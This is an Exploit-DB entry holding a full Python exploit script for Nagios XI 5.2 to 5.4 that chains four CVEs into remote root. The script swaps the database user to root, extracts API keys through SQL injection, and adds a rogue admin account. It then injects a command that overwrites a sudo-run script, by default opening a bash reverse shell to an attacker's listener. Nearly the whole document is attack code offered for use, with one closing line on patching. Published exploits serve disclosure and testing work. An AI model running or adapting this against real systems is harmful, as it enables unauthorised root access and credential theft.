Nagios XI 5.2.[6-9], 5.3, 5.4 - Chained Remote Root

EDB-ID: 44560
Author: Jared Arave
Published: 2018-04-30
CVE: CVE-2018-8733...
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 # Date: 4/17/2018 
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736

import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]

More details here:
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html

Steps are as follows:

0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
"""
# TODO: Figure out what port it's running on, 80 or 443.

def parse_apikeys(resp):
begin_delim = 'START_API:'
end_delim = ':END_API'

start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
end_indecies = [m.start() for m in re.finditer(end_delim, resp)]

unique_keys = []

for i, index in enumerate(start_indecies):
start_index = index + len(begin_delim)
end_index = end_indecies[i]
key = resp[start_index:end_index]
if not key in unique_keys:
unique_keys.append(key)

return unique_keys

def parse_nsp_str(resp):
begin_delim = 'var nsp_str = "'
end_delim = '";\n'

start_index = resp.find(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]

def parse_cmd_id(resp, cmdname):

begin_delim = "'"
end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)

end_idx = resp.find(end_delim)

resp = resp[:end_idx]
resp = resp[resp.rfind(begin_delim)+1:]

return resp

def parse_nagiosxi(resp):
resp = str(resp)
begin_delim = 'Set-Cookie: nagiosxi='
end_delim = ';'

# find the last instance of the nagiosxi cookie...
start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]

def parse_version(resp):
resp = str(resp)
begin_delim = 'name="version" value="'
end_delim = '"'

start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]
def change_db_user(usr, pwd, step):

url = '/nagiosql/admin/settings.php'
headers = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

params = urllib.urlencode({
'txtRootPath':'nagiosql',
'txtBasePath':'/var/www/html/nagiosql/',
'selProtocol':'http',
'txtTempdir':'/tmp',
'selLanguage':'en_GB',
'txtEncoding':'utf-8',
'txtDBserver':'localhost',
'txtDBport':3306,
'txtDBname':'nagiosql',
'txtDBuser': usr,
'txtDBpass':pwd,
'txtLogoff':3600,
'txtLines':15,
'selSeldisable':1
})

print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)
print "[+] STEP {0}: http://{1}{2}".format(step, RHOST, url)

con = httplib.HTTPConnection(RHOST, 80)
con.set_debuglevel(0)
con.request("POST", url, params, headers=headers)

resp = con.getresponse()
con.close()

return resp

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
" %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
help="Target Nagios XI host")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
help="Run a custom command, no reverse shell for you.")

(options, args) = parser.parse_args()

if not options.rhost:
parser.error("[!] No remote host specified.\n")
parser.print_help()
sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
cmd = options.cmd
else:
cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################

url0 = '/nagiosxi/login.php'
headers0 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

print "[+] STEP 0: Get Nagios XI version string."
print "[+] STEP 0: http://{0}{1}".format(RHOST, url0)

con0 = httplib.HTTPConnection(RHOST, 80)
con0.set_debuglevel(0)
con0.request("POST", url0, headers=headers0)
r0 = con0.getresponse()

r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split('.')[1])

con0.close()
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)

################################################################
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
################################################################


r1 = change_db_user('root', 'nagiosxi', '1')

if r1.status == 302:
print "[+] STEP 1: Received a 302 Response. That's good!"
else:
print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))
exit()


################################################################
# REQUEST TWO: GET THE API KEY USING SQLi
################################################################

print ""
url2 = '/nagiosql/admin/helpedit.php'
headers2 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

# Versions of NagiosXI < 5.3.0 use 'backend_ticket', not 'api_key'.
sqli_param = "api_key" if (ver_int >= 3) else "backend_ticket"
print sqli_param

params2 = urllib.urlencode({
'selInfoKey1':'c\'UNION SELECT CONCAT(\'START_API:\',{0},\':END_API\') FROM nagiosxi.xi_users-- '.format(sqli_param),
'hidKey1':'common',
'selInfoKey2':'free_variables_name',
'hidKey2':'',
'selInfoVersion':'',
'hidVersion':'',
'taContent':'',
'modus':0,
'':''
})

print "[+] STEP 2: Exploiting SQLi to extract user API keys."
print "[+] STEP 2: http://{0}{1}".format(RHOST, url2)

con2 = httplib.HTTPConnection(RHOST, 80)
con2.set_debuglevel(1)
con2.request("POST", url2, params2, headers=headers2)
r2 = con2.getresponse()

if r2.status == 302:
print "[+] STEP 2: Received a 302 Response. That's good!"
else:
print "[!] STEP 2: Received a {0} Response. That's bad.".format(str(r2.status))
exit()

con2.close()

r2_resp = r2.read()
api_keys = parse_apikeys(r2_resp)
random.shuffle(api_keys)

if len(api_keys) > 0:
print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))
for key in api_keys:
print "[+] {0}".format(key)
else:
print "[!] No API keys found! Oh no. Exiting..."
exit()


################################################################
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
################################################################

print ""
url3 = '/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1'
headers3 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

# Generate the sketchiest username possibe :D
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
# And also the worlds best password
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))

params3 = urllib.urlencode({
'username':sploit_username,
'password':sploit_password,
'name':'Firsty Lasterson',
'email':'{0}@localhost'.format(sploit_username),
'auth_level':'admin',
'force_pw_change':0
})

print "[+] STEP 3: Using API Keys to add an administrative user..."

found_it = False
for i, key in enumerate(api_keys):
url3_try = url3.replace('XXXAPIKEYLIVESHEREXXX', key)
print "[+] STEP 3: http://{0}{1}".format(RHOST, url3_try)

con3 = httplib.HTTPConnection(RHOST, 80)
con3.set_debuglevel(0)
con3.request("POST", url3_try, params3, headers=headers3)
r3 = con3.getresponse()
r3_contents = r3.read()

if r3.status == 200:
print "[+] STEP 3: Received a 200 Response. That's good!"
if "was added successfully" in r3_contents:
print "[+] STEP 3: User account username:{0} passwd: {1} was added successfully!".format(sploit_username, sploit_password)
print "[+] STEP 3: Moving to Step 4...."
found_it = True
con3.close()
break
else:
"[!] STEP 3: API_KEY access was denied. That's bad."
continue
else:
print "[!] STEP 3: Received a {0} Response. That's bad.".format(str(r2.status))
continue

print "[!] STEP 3: Failed to add a user. Try some more API keys..."
con3.close()

if found_it == False:
print "[!] STEP 3: Step 3 failed.... oh no!"

################################################################
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
################################################################

print ""
print "[+] STEP 4.1: Authenticate as user TODO."
print "[+] STEP 4.1: Get NSP for login..."
url4p1 = '/nagiosxi/login.php'
headers4p1 = {'Host' : RHOST}
params4p1 = ""

con4p1 = httplib.HTTPConnection(RHOST, 80)
con4p1.set_debuglevel(0)
con4p1.request("POST", url4p1, params4p1, headers=headers4p1)
r4p1 = con4p1.getresponse()

r4p1_resp = r4p1.read()

login_nsp = parse_nsp_str(r4p1_resp)
login_nagiosxi = parse_nagiosxi(r4p1.msg)

con4p1.close()

print "[+] STEP 4.1: login_nsp = {0}".format(login_nsp)
print "[+] STEP 4.1: login_nagiosxi = {0}".format(login_nagiosxi)

# 4.2 ---------------------------------------------------------------

print "[+] STEP 4.2: Authenticating..."

url4p2 = '/nagiosxi/login.php'
headers4p2 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(login_nagiosxi)}
params4p2 = urllib.urlencode({
'nsp':login_nsp,
'page':'auth',
'debug':'',
'pageopt':'login',
'username':sploit_username,
'password':sploit_password,
'loginButton':'',
})

con4p2 = httplib.HTTPConnection(RHOST, 80)
con4p2.set_debuglevel(0)
con4p2.request("POST", url4p2, params4p2, headers=headers4p2)
r4p2 = con4p2.getresponse()
r4p2_resp = r4p2.read()
authed_nagiosxi = parse_nagiosxi(r4p2.msg)
con4p2.close()

print "[+] STEP 4.2: authed_nagiosxi = {0}".format(authed_nagiosxi)

# 4.3 ---------------------------------------------------------------

print "[+] STEP 4.3: Getting an authed nsp token..."

url4p3 = '/nagiosxi/index.php'
headers4p3 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
params4p3 = ""

con4p3 = httplib.HTTPConnection(RHOST, 80)
con4p3.set_debuglevel(0)
con4p3.request("POST", url4p3, params4p3, headers=headers4p3)
r4p3 = con4p3.getresponse()
r4p3_resp = r4p3.read()
authed_nsp = parse_nsp_str(r4p3_resp)
con4p3.close()

print "[+] STEP 4.3: authed_nsp = {0}".format(authed_nsp)

################################################################
# REQUEST FIVE: Excute command
################################################################

print "[+] STEP 5: Executing command as root!..."
url5 = '/nagiosxi/backend/index.php?'
headers5 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}

privesc_cmd = 'cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "{0}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh'.format(cmd)
privesc_cmd = "$(" + privesc_cmd + ")"

url5 = url5 + urllib.urlencode({
'cmd':'submitcommand',
'command':'1111',
'command_data':privesc_cmd
})

con5 = httplib.HTTPConnection(RHOST, 80)
con5.set_debuglevel(0)
con5.request("POST", url5, headers=headers5)
r5 = con5.getresponse()

r5_resp = r5.read()
con5.close()

if r5.status == 200:
print "[+] STEP 5: Received a 200 Response. That's good!"
else:
print "[!] STEP 5: Received a {0} Response. That's bad.".format(str(r5.status))
exit()

print "[+] STEP 5: Successfully ran command. We're done?"


################################################################
# REQUEST SIX: Cleanup
################################################################

print "[+] STEP 6: Cleanup time"

r1 = change_db_user('nagiosql', '[email protected]', '6')

if r1.status == 302:
print "[+] STEP 6: Received a 302 Response. That's good!"
else:
print "[!] STEP 6: Received a {0} Response. That's bad.".format(str(r1.status))
exit()

################################################################
# Solution: Update to a version of NagiosXI >= 5.4.13
################################################################

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